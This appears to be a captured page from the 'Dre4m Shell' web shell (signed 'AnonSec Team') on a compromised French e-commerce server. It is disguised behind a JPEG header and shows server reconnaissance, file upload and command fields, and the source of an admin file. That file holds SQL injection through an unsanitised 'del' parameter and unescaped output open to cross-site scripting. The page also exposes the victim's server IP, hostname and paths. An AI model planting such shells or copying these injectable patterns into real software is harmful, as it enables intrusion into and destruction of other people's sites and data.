ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/cp-admin//attributes_nocaisse.php
<?php
// Suppression de la page.
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];
    
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['attribute'] . " WHERE id = $id");
    
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['products_attributes'] . " WHERE id_attribute = $id");

  echo '<script>';
  echo 'window.location = "./attributes.php"';
  echo '</script>';
}
?>
<script type="text/javascript">
  $(document).ready(function() {
    $("#sortlist").Sortable({
      accept: 'dragDrop',
      opacity: 0.6,
      axis : 'vertically',
      onchange : function ( sorted ) {
        serial = $.SortSerialize ('sortlist'); 
        // requète Ajax pour l'enregistrement des positions
        $.ajax ( {
          url : "includes/set_position.php?table=attribute&field=position",
          type : "post",
          data : serial.hash
        });
      }
    });
  });
</script>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Gérer vos Attributs
          <div class="pull-right">
            <a href="#" class="new_attribute btn btn-primary"><i class="icon-plus"></i> Ajouter Attribut(s)</a>
          </div>
        </h1>
      </div>
    </div>
  </div>
  <table id="sortlist" class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span2 center">Attribut</th>
        <th class="span2 center">Présentation</th>
        <th class="span1 center">Opérations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['attribute'] . "  ORDER BY position"); 


      if ($row = $requete->fetch()) {
        do {
          ?>

 
          <tr class="dragDrop" id="val_<?php echo $row['id']; ?>" style="cursor: ns-resize;">
            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['name']) ?></b>



            </td>
            <td class="span1 font12 center">
              <b>
                <?php
                switch ($row['presentation']) {
                  case 'radio':
                    echo 'Boutons radios';
                    break;
                  
                  case 'checkbox':
                    echo 'Cases à cocher';
                    break;
                  
                  case 'select':
                    echo 'Liste déroulante';
                    break;
                  
                  case 'color':
                    echo 'Palette de couleurs';
                    break;
                  
                  default:
                    echo "erreur !";
                    break;
                }
                ?>
              </b>
            </td>
            <td class="center">
              <a href="#" id="<?php echo $row['id']; ?>" class="display_edit_attribute" title="<?php echo $row['name']; ?>" presentation="<?php echo $row['presentation']; ?>">
                <img src="assets/img/edit.png" title="Editer le nom de l'attribut">
              </a>
              &nbsp;

              <a href="./details_attribute.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/details.png" title="Gérer les valeures de l'attribut">
              </a>
              &nbsp;

              <a href="./attributes.php?del=<?php echo $row['id']; ?>" id="<?php echo $row['id']; ?>" onclick="return confirm('Êtes vous sur de vouloir supprimer cet élément ?')">
                <img src="assets/img/delete.png" title="Supprimer l'attribut">
              </a>
              &nbsp;
            </td>
          </tr>

          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune page à afficher !!!';
      }
      ?>

    </tbody>
  </table>
</div>

<div class="modal hide fade" id="new_attribute_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
    <h3 id="new_attribute_title_box_box_header">Nouvel attribut</h3>
  </div>
  <div class="modal-body" id="new_attribute_box_content">
  </div>
  <div class="modal-footer">
    <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
    <button class="btn btn-primary" id="insert_new_attribute">Enregistrer</button>
  </div>
</div>

<script type="text/javascript">
  $('.new_attribute').live('click', function(event) {
    event.preventDefault();
    var name = '';
    var presentation = '';
    
    $('#new_attribute_box').modal();
    $('#new_attribute_box_content').html('<label for="name">Nom :</label> <input type="text" id="name" value="'+name+'" style="width:95%;"><label for="presentation">Présentation :</label><select data-placeholder="Veuillez sélectionner le type d\'affichage de l\'attribut" id="presentation"><option value="select">Liste déroulante</option></select>');
  });

  $('#insert_new_attribute').live('click', function(event) {
    event.preventDefault();
    
    var name = $('#name').val();
    var presentation = $('#presentation').val();
    
    $.ajax({
      type: 'POST',
      data: 'name='+name+'&presentation='+presentation,
      url: 'includes/listeners/insertNewAttribute.php',
      success: function(msg) {
        if(msg!='') alert(msg);
        else window.location.reload();
      }
    });
  });
</script>

<div class="modal hide fade" id="attribute_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
    <h3 id="attribute_title_box_box_header">Editer l'attribut</h3>
  </div>
  <div class="modal-body" id="attribute_box_content">
  </div>
  <div class="modal-footer">
    <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
    <button class="btn btn-primary" id="update_attribute">Enregistrer</button>
  </div>
</div>

<script type="text/javascript">
  $('.display_edit_attribute').live('click', function(event) {
    event.preventDefault();
    var id = $(this).attr('id');
    var name = $(this).attr('title');
    var presentation = $(this).attr('presentation');
    
    $('#attribute_box').modal();
    $('#attribute_box_content').html('<input type="hidden" id="id" value="'+id+'"><label for="name">Nom :</label> <input type="text" id="name" value="'+name+'" style="width:95%;"><label for="presentation">Présentation :</label><select data-placeholder="Veuillez sélectionner le type d\'affichage de l\'attribut" id="presentation"><option value="select">Liste déroulante</option></select>');

      // Récupérer toutes les options
      var options = document.getElementById("presentation").options;

      // Pour chaque option
      for(i = 0 ; i < options.length ; i++) {
        var option = options[i];
        if(option.value == presentation) {
          option.selected = true;
        }
      }
  });

  $('#update_attribute').live('click', function(event) {
    event.preventDefault();
    
    var id = $('#id').val();
    var name = $('#name').val();
    var presentation = $('#presentation').val();
    
    $.ajax({
      type: 'POST',
      data: 'id='+id+'&name='+name+'&presentation='+presentation,
      url: 'includes/listeners/updateAttribute.php',
      success: function(msg) {
        if(msg!='') alert(msg);
        else window.location.reload();
      }
    });
  });
</script>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team